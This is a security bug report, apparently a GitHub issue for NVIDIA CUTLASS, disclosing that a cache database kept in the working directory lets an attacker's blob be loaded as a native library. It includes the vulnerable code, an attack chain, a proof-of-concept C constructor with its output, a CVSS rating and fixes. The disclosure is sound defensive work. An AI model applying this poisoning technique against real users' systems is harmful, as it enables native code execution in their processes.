NVIDIA / NVIDIA/cutlass

[BUG] - Native Code Execution via CWD-poisoned SQLite cache in CUTLASS `cutlass_cppgen`

Open
#3,404 2 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

? - Needs Triage bug CUTLASS C++ inactive-30d
Dominant language
C++
Stars
10.5k
Forks
2.1k
Avg merge
3d 11h
Merged PRs (30d)
7

Description

Which component has the problem?

CUTLASS C++

Bug Report

1. Summary (TL;DR)

cutlass_cppgen.ArtifactManager persists compiled device (cubin) and host (hostbin) artifacts in a SQLite database whose path is the bare, CWD-relative filename compiled_cache.db (cutlass_cppgen/__init__.py:84). The manager is a module-level singleton instantiated at import (backend/__init__.py:48: compiler = ArtifactManager()), and its constructor does sqlite3.connect("compiled_cache.db") (compiler.py:141) — which auto-creates the file in the process's current working directory.

On the default compile path (bypass_cache=False, compiler.py:358), a cache miss calls load_operation(key, …) (compiler.py:387), which runs SELECT * FROM compiled_operations WHERE op_key = ? (compiler.py:189-190) and — for any matching row — takes the attacker-controlled hostbin BLOB and passes it to CDLLBin(host_binary) (compiler.py:205). CDLLBin writes the blob to a temp .so and calls ctypes.CDLL(...) on it (compiler.py:126-132), so the blob's ELF constructors/init code runs inside the victim's Python process.

An attacker who can plant a compiled_cache.db in the victim's CWD (shared filesystem, extracted archive, cloned/checked-out project, world-writable dir) with a row whose op_key matches an operation the victim will compile achieves native RCE the moment the victim compiles that op.

This is the standard "untrusted-search-path / cache-poisoning → native library load" class. It is rated Medium (not High) because exploitation requires (a) CWD-plant capability and (b) a matching op_key — both stronger preconditions than the sibling pickle.loads advisory, which needs no key match.


2. Affected component

  • Repository: github.com/NVIDIA/cutlass
  • Sub-tree: python/cutlass_cppgen/
  • Files involved:
    • python/cutlass_cppgen/__init__.pyCACHE_FILE = "compiled_cache.db" (line 84) — bare, CWD-relative
    • python/cutlass_cppgen/backend/__init__.pycompiler = ArtifactManager() (line 48) — singleton instantiated at import
    • python/cutlass_cppgen/backend/compiler.py:
      • ArtifactManager.__init__ (line 135) → sqlite3.connect(CACHE_FILE) (line 141)
      • CDLLBin(host_binary) (lines 126-132) — writes blob to temp .so, ctypes.CDLL-loads it
      • load_operation(op_key, extra_funcs) (lines 186-228) — SELECT ... WHERE op_key = ? (189-190) → CDLLBin(host_binary) (205)
      • add_module(operations, compile_options=None, bypass_cache=False) (line 358) — cache used by default; cache miss → load_operation(key, …) (387)
      • op_key = operation.rt_module.emit() + operation.procedural_name() + self.backend (line 382)
    • Public entry: Gemm.compile() (python/cutlass_cppgen/op/gemm.py:478) → compiler.add_module([self.operation]) (gemm.py:506); Conv.compile() (op/conv.py:637) → compiler.add_module([self.operation]) (conv.py:675). Neither passes bypass_cache=True, so the cache path is the default.
  • Distribution: cutlass_cppgen ships in the nvidia-cutlass PyPI wheel and is imported by the public CUTLASS Python API.

3. Vulnerable code (exact, from HEAD 2802e22)

3.1 The CWD-relative cache path — cutlass_cppgen/__init__.py
CACHE_FILE = "compiled_cache.db"   # line 84 — bare filename; resolved relative to process CWD
3.2 Singleton at import + auto-create in CWD — backend/__init__.py / compiler.py
# backend/__init__.py
compiler = ArtifactManager()        # line 48 — runs at import of cutlass_cppgen.backend

# compiler.py
class ArtifactManager:              # line 135
    def __init__(self) -> None:     # line 140
        connection = sqlite3.connect(CACHE_FILE)          # line 141 — opens/CREATES compiled_cache.db IN CWD
        cursor = connection.cursor()
        sqlite_create_table_query = """                   # line 144
        CREATE TABLE IF NOT EXISTS compiled_operations(op_key TEXT NOT NULL UNIQUE,
                                                        cubin BLOB NOT NULL,
                                                        hostbin BLOB NOT NULL,   # <-- attacker native blob
                                                        op_name TEXT NOT NULL,
                                                        op_attrs TEXT NOT NULL)
        """
        cursor.execute(sqlite_create_table_query)         # line 151
        ...
        self.nvcc()                                       # line 161 — backend defaults to "nvcc"
3.3 The sink — CDLLBin() (compiler.py:126-132)
def CDLLBin(host_binary):
    tempfile.tempdir = "./"                                  # line 127 — temp .so also lands in CWD
    temp_so = tempfile.NamedTemporaryFile(prefix="host_func", suffix=".so", delete=True)  # 128
    with open(temp_so.name, "wb") as file:
        file.write(host_binary)                             # 129-130 — write attacker blob
    host_lib = ctypes.CDLL(temp_so.name)                    # line 131 — *** load + run constructors ***
    return host_lib
3.4 The poisoned-row trigger — load_operation() (compiler.py:186-205)
def load_operation(self, op_key, extra_funcs):
    connection = sqlite3.connect(CACHE_FILE)                # line 187
    cursor = connection.cursor()
    sqlite_fetch_blob_query = """SELECT * from compiled_operations where op_key = ?"""   # line 189
    cursor.execute(sqlite_fetch_blob_query, (op_key,))      # line 190 — exact-key match
    record = cursor.fetchall()                              # line 191
    if len(record) == 0:
        return False                                        # line 193
    for row in record:
        key, cubin_image, host_binary, operation_name, op_attr = row   # line 195 — host_binary = attacker blob
        op_attr = json.loads(op_attr)                       # line 196
        err, module = cuda.cuModuleLoadData(cubin_image)    # line 197 — (attacker supplies a valid cubin so this succeeds on a GPU host)
        if err != cuda.CUresult.CUDA_SUCCESS:
            raise RuntimeError("Cuda Error: {}".format(err))
        err, kernel = cuda.cuModuleGetFunction(module, bytes(str.encode(operation_name)))  # line 201
        self.compiled_cache_device[key] = kernel
        compiled_host_fns = {}
        host_lib = CDLLBin(host_binary)                     # line 205 — *** native RCE ***
3.5 Default cache use on the public path — add_module() (compiler.py:358-400)
def add_module(self, operations, compile_options=None, bypass_cache=False):   # line 358 — default uses cache
    ...
    for operation in operations:
        key = operation.rt_module.emit() + operation.procedural_name() + self.backend   # line 382 — op_key
        compiled_kernel = self.compiled_cache_device.get(key)               # line 384 — in-memory first
        if compiled_kernel is None and not bypass_cache:                    # line 386
            hit = self.load_operation(key, getattr(operation.rt_module, "extra_funcs", {}))  # line 387 — DB query
            if hit:
                ...                                                          # line 388-390

Gemm.compile() (gemm.py:506) and Conv.compile() (conv.py:675) call compiler.add_module([self.operation]) without bypass_cache=True, so a poisoned row is consulted by default.


4. Root cause

  1. CWD-relative cache path. CACHE_FILE = "compiled_cache.db" is a bare filename; SQLite auto-creates/opens it wherever the process's CWD points. There is no per-user, non-CWD resolution (~/.cache/…, XDG_CACHE_HOME) and no integrity binding.
  2. ctypes.CDLL on cached blobs with no verification. CDLLBin writes the stored hostbin BLOB to a temp .so and CDLL-loads it. The BLOB is treated as trusted by virtue of being in the cache, but the cache itself is an untrusted CWD file.
  3. Singleton-at-import amplifies exposure. Merely importing the backend (e.g. from cutlass_cppgen.backend import compiler) creates/opens the CWD DB, so any directory the victim cds into and runs from becomes the cache location.
  4. Default cache use. The cache is consulted on the default (bypass_cache=False) public compile path, so victims get no opt-out signal that loading may execute native code.

5. Attack chain (end to end)

attacker:
  1. compile a malicious shared object  evil.so  with a constructor/init that does anything the victim can
  2. build  compiled_cache.db  with a row:
       op_key  = rt_module.emit() + procedural_name() + backend   # pre-computable by compiling the SAME op once
       cubin   = <a VALID cubin for any kernel>                    # so cuModuleLoadData succeeds on the GPU host
       hostbin = <bytes of evil.so>                                # <-- native payload
       op_name = <any>, op_attrs = json([1])
  3. place  compiled_cache.db  in a directory the victim will `cd` into and run from
     (shared FS, extracted archive/attachment, cloned/checked-out project, world-writable /tmp)

victim:
  cd <that directory>
  python -c "
    import cutlass
    plan = cutlass.Gemm(...)        # imports cutlass_cppgen.backend -> ArtifactManager() -> opens/creates compiled_cache.db IN CWD
    plan.compile()                  # gemm.py:478 -> compiler.add_module([op]) (gemm.py:506), bypass_cache=False default
      -> key = op.rt_module.emit() + op.procedural_name() + backend          # compiler.py:382
      -> compiled_cache_device.get(key) is None                              # :384
      -> load_operation(key, ...)                                            # :387
           -> SELECT * WHERE op_key = key  -> matches attacker row           # :189-190
           -> cuModuleLoadData(attacker_cubin) succeeds (valid cubin, GPU)    # :197
           -> CDLLBin(host_binary = bytes of evil.so)                        # :205
                -> ctypes.CDLL(temp.so)                                      # :131
                     -> *** constructor executes -> native RCE in victim process ***

No GPU is needed for the native primitive itselfctypes.CDLL runs the constructor on the host CPU. End-to-end against the real load_operation does require a GPU for the cuModuleLoadData(cubin) line (:197) that precedes CDLLBin; the attacker satisfies it by storing a valid cubin in the poisoned row (the cubin's correctness is irrelevant to the RCE — it only needs to load). The PoC (§7) stubs that GPU line and exercises CDLLBin verbatim on attacker bytes.


6. Realistic exploitation scenario

  • A developer/researcher cds into an attacker-influenced directory and runs any CUTLASS Python compile:
    • a cloned repo / checked-out branch that commits a compiled_cache.db (e.g. a malicious PR, a typo-squatted example repo, an "example kernels" repo),
    • an extracted archive/attachment (a "precompiled kernels bundle" zip/tar that drops the DB),
    • a shared filesystem / NFS / world-writable /tmp where a prior user (or a different compromise) planted the DB,
    • a poisoned CI/devcontainer working dir.
  • The victim runs import cutlass; plan = cutlass.Gemm(...).compile(). The singleton ArtifactManager() opens compiled_cache.db in CWD; compile()add_moduleload_operation(key) matches the attacker row → CDLLBin loads the attacker .sonative code runs as the victim.
  • The op_key (rt_module.emit() + procedural_name() + backend) is fully deterministic for a given operation configuration. The attacker pre-computes it by compiling the same op once (on any machine with CUTLASS) and reading the key — or by targeting a common, documented example kernel. The default backend is nvcc (__init__self.nvcc(), compiler.py:161).

7. Proof of Concept

A tested, self-contained PoC is at
audit-campaign/.nvidia-audit/poc/cache426/cache426_poc.py (with evil.cevil.so).

7.1 What it demonstrates

The full load_operation path calls cuda.cuModuleLoadData(cubin) (compiler.py:197) before CDLLBin (:205), which needs a real GPU. The security-relevant sink — CDLLBin(host_binary)ctypes.CDLL on the attacker BLOB read from the poisoned DB — is pure Python + ctypes + sqlite3. The PoC faithfully reproduces CDLLBin (compiler.py:126-132) and the SELECT→row→CDLLBin slice of load_operation (compiler.py:186-205) with the cubin/GPU lines stubbed (they are a precondition satisfied by a valid cubin on a GPU host, not the vulnerability). It builds a real malicious .so (a gcc -shared -fPIC constructor blob), plants it in a compiled_cache.db, and shows the constructor executes through ctypes.CDLL.

7.2 The malicious library (evil.c)
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor)) static void _on_load(void){
    FILE* f = fopen("/tmp/pwned_by_cache426","w");
    if(f){ fprintf(f, "CACHE426 RCE: uid=%d\n", getuid()); fclose(f); }
}
7.3 Result (run on Python 3.12 + gcc, sandbox, no GPU)
[*] planted compiled_cache.db in CWD with attacker hostbin (15704 bytes) at op_key='VICTIM_GEMM_KEY'
[*] victim compiles an op whose key matches -> load_operation(key) ...
[*] checking for code-execution marker ...
[+] *** NATIVE RCE CONFIRMED *** CDLLBin() ctypes.CDLL'd the attacker blob from poisoned compiled_cache.db. Marker:
    CACHE426 RCE: uid=1003

The constructor ran inside the loader process — proving the attacker hostbin BLOB in the CWD-poisoned cache executes native code via ctypes.CDLL.


8. Impact

  • Confidentiality / Integrity / Availability: High (on trigger). Full native code execution in the victim's Python process — same privilege as the victim (read secrets/keys, exfiltrate data/models, persist, destroy). Native (not Python-interpreter) execution.
  • Preconditions (why Medium, not High):
    1. CWD-plant capability — the attacker must place compiled_cache.db in a directory the victim will run from (local/shared-FS write), and
    2. matching op_key — the poisoned row's key must equal the victim's compiled-op key (pre-computable, but requires the attacker to know/target the op).
  • Reachability: default public path. Gemm.compile()/Conv.compile() use the cache by default (bypass_cache=False); no opt-in is required.
  • Amplifier: the singleton-at-import + tempfile.tempdir = "./" (compiler.py:127) mean the DB and the temp .so both resolve to the victim's CWD, maximizing the chance a planted file is consulted.

9. Severity (CVSS 3.1)

CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H6.7 Medium

  • AV:L — local file plant in the victim's CWD.
  • AC:H — two specific, partially out-of-attacker-control conditions must hold simultaneously: CWD-plant and op_key match. This non-trivial friction justifies AC over Low.
  • PR:L — the attacker needs some local/shared-directory write capability to plant the file (on a fully world-writable/shared dir this approaches PR:N).
  • UI:R — the victim must run a compile in the poisoned CWD (the documented workflow).
  • C:H/I:H/A:H — full native process compromise.

If the CWD is a fully unauthenticated shared/public location (PR:N), the score rises toward 7.0; if the op_key match is considered low-friction (e.g. a widely-documented example kernel, AC:L), it can reach the 7.8 High of the sibling pickle advisory. The conservative, defensible rating for general deployment is Medium because of the two preconditions; specific deployments (shared CWD + known target op) are effectively High.


10. Remediation (recommended fix)

10.1 (Primary) Resolve the cache under a per-user, non-CWD location
# cutlass_cppgen/__init__.py
import os, pathlib
def _cache_path() -> str:
    base = os.environ.get("CUTLASS_CPPGEN_CACHE",
                          os.environ.get("XDG_CACHE_HOME",
                                         os.path.join(pathlib.Path.home(), ".cache")))
    d = pathlib.Path(base) / "cutlass_cppgen"
    d.mkdir(parents=True, exist_ok=True)
    return str(d / "compiled_cache.db")
CACHE_FILE = _cache_path()

This removes the CWD-poisoning vector entirely (an attacker can no longer plant the file in an arbitrary working directory).

10.2 (Integrity) Do not CDLL cached blobs without a signature

Compute an HMAC (or NVIDIA signature) over the hostbin/cubin blobs at insert_operation time with a key the consumer trusts, and verify before CDLLBin/cuModuleLoadData. Store the tag in a new column; reject on mismatch.

10.3 (Opt-in / least surprise) Make cache loading explicit
  • Require an explicit trust_cache=True (or an env var) before load_operation will CDLL-load blobs, mirroring torch.load(weights_only=…). Default to recompile-from-source (the safe path) when the cache is untrusted.
10.4 (Defense in depth) Sandbox the temp load

CDLLBin currently sets tempfile.tempdir = "./" (writes the temp .so to CWD) — resolve temp files under tempfile.gettempdir() per-user, and avoid mutating the global tempfile.tempdir.

Recommended combination: 10.1 (non-CWD path) closes the reported vector; 10.2 (integrity) defends against any residual untrusted-cache case; 10.3 removes the silent-execute surprise.


Appendix B — Verified line references (HEAD 2802e22)

Step File:line Symbol
CWD-relative cache name python/cutlass_cppgen/__init__.py:84 CACHE_FILE = "compiled_cache.db"
Singleton at import python/cutlass_cppgen/backend/__init__.py:48 compiler = ArtifactManager()
Open/create DB in CWD python/cutlass_cppgen/backend/compiler.py:141 sqlite3.connect(CACHE_FILE)
Cache table (has hostbin BLOB) python/cutlass_cppgen/backend/compiler.py:144-150 CREATE TABLE … hostbin BLOB …
Default backend = nvcc python/cutlass_cppgen/backend/compiler.py:161 self.nvcc()
Public compile entry (Gemm) python/cutlass_cppgen/op/gemm.py:478 Gemm.compile()
→ add_module call python/cutlass_cppgen/op/gemm.py:506 compiler.add_module([self.operation])
Public compile entry (Conv) python/cutlass_cppgen/op/conv.py:637 / :675 Conv.compile()add_module
Default cache use python/cutlass_cppgen/backend/compiler.py:358 add_module(..., bypass_cache=False)
op_key computation python/cutlass_cppgen/backend/compiler.py:382 rt_module.emit() + procedural_name() + backend
Cache miss → load_operation python/cutlass_cppgen/backend/compiler.py:386-387 if … not bypass_cache: load_operation(key,…)
SELECT poisoned row python/cutlass_cppgen/backend/compiler.py:189-190 SELECT * … WHERE op_key = ?
cubin load (needs GPU) python/cutlass_cppgen/backend/compiler.py:197 cuda.cuModuleLoadData(cubin_image)
SINK: CDLLBin on host blob python/cutlass_cppgen/backend/compiler.py:205 host_lib = CDLLBin(host_binary)
ctypes.CDLL (constructors run) python/cutlass_cppgen/backend/compiler.py:131 host_lib = ctypes.CDLL(temp_so.name)
Temp .so in CWD python/cutlass_cppgen/backend/compiler.py:127 tempfile.tempdir = "./"

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by reading python/cutlass_cppgen/init.py, backend/init.py, and backend/compiler.py, following ArtifactManager initialization through add_module(), load_operation(), and CDLLBin(). Reproduce the reported CWD cache and native-library load chain using the referenced entry points, then verify that the completed change prevents untrusted cache data from reaching the load path and includes regression coverage.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp, python
Domain
backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Mostly clear
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.